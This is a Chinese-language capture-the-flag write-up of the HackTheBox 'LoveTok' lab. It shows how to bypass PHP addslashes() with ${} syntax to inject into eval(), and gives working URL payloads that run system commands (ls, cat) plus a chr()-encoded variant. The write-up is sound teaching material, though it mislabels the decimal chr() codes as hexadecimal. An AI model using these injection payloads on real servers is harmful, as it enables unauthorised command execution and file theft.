環境說明
hackthebox上的web靶機,名稱為LoveTok
攻擊策略
饒過addslashes字串保護,並利用eval執行任意程式碼
安全檢測重點
- 在注入點測試
${phpinfo()}
可否執行
在PHP GET中,可以用?id=${phpinfo()}
的方法執行命令,${}
內部函數會被執行 - 在程式碼中檢查篩選僅使用addslashes()
- 在程式碼中檢查是否使用eval()
目標防禦機制
php addslashes() : 作用是在預先定義的字元前面加上反斜杠,這些預定義字元包括:單引號(’);雙引號(”);反斜線(\);NULL
入侵方式
1原碼分析
分析TimeModel.php,發現 $this->format有注入問題
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
例如
$this->format改為");system("ls /")
,程式將變為以下,理論上可實現程式碼注入
eval('$time = date("");system("ls /")//", strtotime("'' . $this->prediction . '"));');
2饒過防禦機制
但因為有addslashes(),所以注入不能用到雙引號,因此");system("ls /")
無法使用
為了饶过addslashes,所以使用${}
格式测试是否也能執行<http://Target IP/?format=${phpinfo()}>
執執行後程式碼將變成以下
eval('$time = date("${phpinfo()}", strtotime("'' . $this->prediction . '"));');
而且在網頁中可以顯示phpinfo() 結果,代表使用${}
這種方法可饒過addslashes()
3執行ls指令
執行ls尋找flag
但以下方法需要用雙引號,所以此方法無法執行<http://Target IP/?format=${system("ls")}>
所以要改成以下,避开双引号,透过$_GET[1]去拿ls命令<http://Target IP/?format=${system($_GET[1])}&1=ls>
先搜尋根目錄/
,所以要使用+
,這在php會被解碼為空格,如下 <http://Target IP/?format=${system($_GET[1])}&1=ls+/>
執行後就會看到 flagepfnx檔案
4執行cat指令
顯示flagepfnx檔案<http://Target IP/?format=${system($_GET[1])}&1=cat+/flagepfnx>
得到Flag
補充說明
1.php不同的輸出方式介紹
$a = 1;
echo 'a is $a'; // result: a is $a
echo "a is $a"; // result: a is 1
echo "${a}bc"; // result: 1bc
function b()
{
return "a";
}
echo "a is ${b()}"; // result: a is 1 as it gets a is $a 1st
2.在 PHP 中,URL 中的+會被解碼為空格
這是因為在 URL 編碼中,空格通常被編碼為「+」號。
例如,如果您使用 GET 方法提交表單資料並且包含一個帶有空格的字段,則瀏覽器會將空格轉換為加號,並在發送請求時將其包含在 URL 中。 當 PHP 伺服器接收到此請求時,會自動將加號解碼為空格。
3.可使用十六進位來饒過addslashes()
以下等同於cat flag
${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103).chr(42))}
參考文獻
https://websec.one/hack-the-box-lovetok-writeup/
https://www.freebuf.com/articles/web/327404.html